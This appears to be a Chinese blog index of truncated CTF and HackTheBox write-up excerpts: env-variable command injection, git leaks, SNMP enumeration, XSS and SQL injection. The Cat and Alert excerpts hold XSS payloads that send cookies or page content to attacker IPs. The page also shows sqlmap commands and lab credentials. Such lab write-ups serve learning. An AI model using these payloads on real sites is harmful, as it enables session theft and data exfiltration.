环境变量注入执行任意命令
在nss上做NCTF 2022的时候发现一道很有意思的题
遂记下
源程序如下
123456789101112131415161718192021222324252627@app.route("/calc", methods=['GET'])def calc(): ip = request.remote_addr num = request.values.get("num") log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num) if waf(num): try: data = eval(num) os.system(log) except: pass ...
HTB-EscapeTwo
As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su
HTB-Dog
扫目录扫到git泄露 githacker开扒
在files目录发现了应该是别的师傅写的马，还是不直接用了吧
robots.txt
12345678910111213141516171819202122232425262728293031323334353637383940414243444546## robots.txt## This file is to prevent the crawling and indexing of certain parts# of your site by web crawlers and spiders run by sites like Yahoo!# and Google. By telling these "robots" where not to go on your site,# you save bandwidth and server resources.## This file will be ignored unless it is at the root of your host:# Used: ht ...
HTB-Cypher
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596E:\小工具\ONE-FOX集成工具箱_V8公开版_by狐狸\gui_scan\dirsearch>python dirsearch.py -u http://cypher.htb/ _|. _ _ _ _ _ _|_ v0.4.3 by 鹏组安全 (_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11714Output File: E:\小工具\ONE-FOX集成工具箱_V8公开版_by狐狸\gui_scan\dirsearch\repor ...
HTB-UnderPass
fscan只扫出22 80 110端口
学到一个新的信息搜集的新招
snmpwalk 命令从目标主机 underpass.htb 获取的管理信息库 (MIB) 数据
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950┌──(root㉿kali)-[~]└─# snmpwalk -v1 -c public underpass.htbCreated directory: /var/lib/snmp/cert_indexesiso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10iso.3.6.1.2.1.1.3.0 = Timeticks: (11947193) ...
HTB-Administrator
As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich
1234567891011121314151617181920212223242526272829303132333435363738┌──────────────────────────────────────────────┐│ ___ _ ││ / _ \ ___ ___ _ __ __ _ ___| | __ ││ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / ││ / /_\\_____\__ \ (__| | | (_| | (__| < ││ \____/ |___ ...
HTB-LinkVortex
fscan扫描没什么内容 目录扫描扫到
1http://linkvortex.htb/robots.txt
123456User-agent: *Sitemap: http://linkvortex.htb/sitemap.xmlDisallow: /ghost/Disallow: /p/Disallow: /email/Disallow: /r/
一个登录框，但是暂时利用不起来
fuzz出一个[Launching Soon](http://dev.linkvortex.htb/)
git泄露
githack和githacker拉下来不大一样
可以获取到一些敏感信息泄露
12const email = 'test@example.com';const password = 'OctopiFociPilfer45';
学到了一个新姿势
可以关注/.git/logs/HEAD是对应的上传者的相关信息
10000000000000000000000000000000000000000 299cdb4387763 ...
HTB-Cat
fscan
dirsearch扫到git泄露
githacker拉下来
注册账号后发现这里可能有漏洞点
审计代码 这里对出了照片的其他选项做了过滤，因此可以从照片入手
貌似是对MIME头做了检验
下面还有一个白名单
那好像不大好注了
看看别的
在view_cat看到打印了这么多内容
其中这几个在前面看到是被waf过滤过的
那么就可以从用户名入手
1<img src=1 onerror=this.src="http://10.10.16.35:4444/?yiyi="+encodeURIComponent(document.cookie)>
注册登录后注册一只猫
得到审核人员的cookie
替换cookie进入管理员面板
继续审计accept_cat部分的代码，发现没有太多防护措施 且通过config可以看出是sqlite
尝试sqlmap注入一下
12python sqlmap.py -r C:\Users\31702\Desktop\tmp\req.txt --dbms=SQLite --tables --batch --l ...
HTB-Alert
dirsearch
打开网站 是一个文件上传
只能传markdown文件
尝试xss
尝试访问/messages.php文件并将响应结果传输回攻击机
12345<script>fetch("http://alert.htb/messages.php").then(response => response.text()).then(data => {fetch("http://10.172.29.1:4444/?file_content=" + encodeURIComponent(data));});</script>
通过sharemarkdown获得路径
1http://alert.htb/visualizer.php?link_share=67da848835c9b5.19283533.md
发送给网站管理员
bot点击后弹回内容
url解密得到
1<h1>Messages</h1><ul><li>< ...
XCTF-TPCTF
TPCTF-XCTF rk6
没爆0 输出了一点
supersqli看到这类的waf有点走不动道
第一反应是绕过waf，这里尝试了两种思路
一开始想到是http走私，但是没走成，前后都处理了TE头
https://www.geekby.site/2022/03/waf-bypass/#multipart-%E6%B7%B7%E6%B7%86
想着可以通过这种方式，waf那里把password当成文件，而后端又把password覆盖了
对着这篇文章改了一下,UNION SELECT递归拼接sql语句自身，replace绕过字符限制
123456789101112131415161718192021222324POST /flag/ HTTP/1.1Host: 1.95.159.113Content-Length: 523Cache-Control: max-age=0Origin: http://1.95.159.113Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x6 ...